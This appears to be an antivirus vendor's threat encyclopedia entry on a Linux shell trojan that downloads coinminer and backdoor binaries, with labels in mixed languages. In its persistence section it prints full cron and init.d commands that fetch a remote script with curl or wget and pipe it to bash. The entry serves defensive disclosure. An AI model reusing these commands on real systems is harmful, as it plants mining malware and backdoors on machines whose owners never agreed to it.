Analysis by: Patrick Noel Collado
 ALIASES:

Trojan-Downloader.Shell.Miner.ah (Kaspersky), TrojanDownloader:Linux/Coinminer.AB!MTB (Microsoft)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Canal de infecção: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

Tipo de compactação: 16,866 bytes
Residente na memória: Yes
Data de recebimento das amostras iniciais: 28 Aug 2020
Carga útil: Connects to URLs/IPs, Downloads files, Terminates processes

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.61.233/x86_64 -> downloaded file is detected as Coinminer.Linux.MALXMR.UWELD
  • http://{BLOCKED}.{BLOCKED}.33.226/i686 -> downloaded file is detected as Coinminer.Linux.MALXMR.UWELD
  • http://{BLOCKED}.{BLOCKED}.113.151/go
  • http://{BLOCKED}.{BLOCKED}.113.151/x64b -> downloaded file is detected as Backdoor.Linux.KAITEN.AMV
  • http://{BLOCKED}.{BLOCKED}.113.151/x32b -> downloaded file is detected as Backdoor.Linux.KAITEN.AMV

Other Details

This Trojan does the following:

  • Terminates processes connected to the following ports:
    • :3333
    • :4444
    • :5555
    • :7777
    • :14444
    • :5790
    • :45700
    • :2222
    • :9999
    • :20580
    • :13531
  • Terminates processes connected to the following IP:
    • {BLOCKED}.{BLOCKED}.24.12:8080
    • {BLOCKED}.{BLOCKED}.17.13:8080
    • {BLOCKED}.{BLOCKED}.11.170:443
  • It creates the following cron jobs for persistence:
    • Path: /etc/cron.d/root
      • Schedule: Every Minute
      • Command: */1 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/apache/root
      • Schedule: Every Two Minutes
      • Command: */2 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/nginx
      • Schedule: Every Three Minutes
      • Command: */3 * * * * root lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/.xo; bash /tmp/.xo; rm -rf /tmp.xo\n##
    • Path: /var/spool/cron/root
      • Schedule: Every Thirty Minutes
      • Command: */30 * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi\n; rm -rf /tmp/xmi\n##
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.hourly/oanacroner1
      • Schedule: Every Hour
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi
  • It creates the following service for persistence:
    • Path: /etc/init.d/down
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo "{base 64 encoded string}" | base64 -d | bash -'

  SOLUTION

Mecanismo de varredura mínima: 9.850
Primeiro arquivo padrão VSAPI: 16.153.00
Data do lançamento do primeiro padrão VSAPI: 08 Aug 2020
VSAPI OPR Pattern Version: 16.154.00
VSAPI OPR Pattern veröffentlicht am: 09 Aug 2020

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.MALXMR.UWEKL. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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